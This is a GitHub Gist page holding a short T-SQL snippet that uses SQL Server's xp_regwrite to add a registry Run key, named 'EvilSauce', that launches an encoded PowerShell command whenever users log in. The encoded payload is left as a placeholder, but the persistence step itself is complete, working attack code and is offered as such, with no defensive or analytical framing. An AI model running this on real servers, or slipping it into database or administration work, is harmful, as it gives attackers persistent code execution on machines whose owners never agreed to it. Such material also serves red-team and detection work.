Last active
September 16, 2019 04:58
-
-
Save nullbind/f9c46a4793d07904996f9dc82d9c66b2 to your computer and use it in GitHub Desktop.
Use SQL Server xp_regwrite to configure a file to run when users login
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--------------------------------------------- | |
-- Use SQL Server xp_regwrite to configure | |
-- a file to execute ps encoded command when users login | |
---------------------------------------------- | |
EXEC master..xp_regwrite | |
@rootkey = 'HKEY_LOCAL_MACHINE', | |
@key = 'Software\Microsoft\Windows\CurrentVersion\Run', | |
@value_name = 'EvilSauce', | |
@type = 'REG_SZ', | |
@value = '"PowerShell -ENC <encodedcommand>"' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment